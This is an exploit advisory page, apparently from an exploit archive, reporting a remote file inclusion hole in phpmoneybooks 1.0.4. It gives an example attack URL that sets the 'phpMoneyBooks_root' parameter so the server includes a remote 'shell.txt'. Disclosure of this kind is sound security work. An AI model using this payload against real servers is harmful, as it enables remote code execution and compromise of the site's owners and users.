phpmoneybooks 1.0.4 Remote File Inclusion Vulnerability

2012.07.10
Credit: L0n3ly-H34rT
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-98

################################################################################## ### Exploit Title: phpmoneybooks 1.0.4 Remote File Inclusion Vulnerability ### Date: Who cares ! ### Author: L0n3ly-H34rT ### Contact: l0n3ly_h34rt@hotmail.com ### Vendor Homepage: http://phpmoneybooks.com/ ### Software Link: http://sourceforge.net/projects/phpmoneybooks/files/phpMoneyBooks104.zip/download ### Version: 1.0.4 ( I Don't check old version ) ### Tested on: Linux/Windows ################################################################################# # Examble : http://127.0.0.1/phpMoneyBooks104/functions.php?phpMoneyBooks_root=http://127.0.0.1/shell.txt? # Greetz to my friendz

References:

http://phpmoneybooks.com/


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top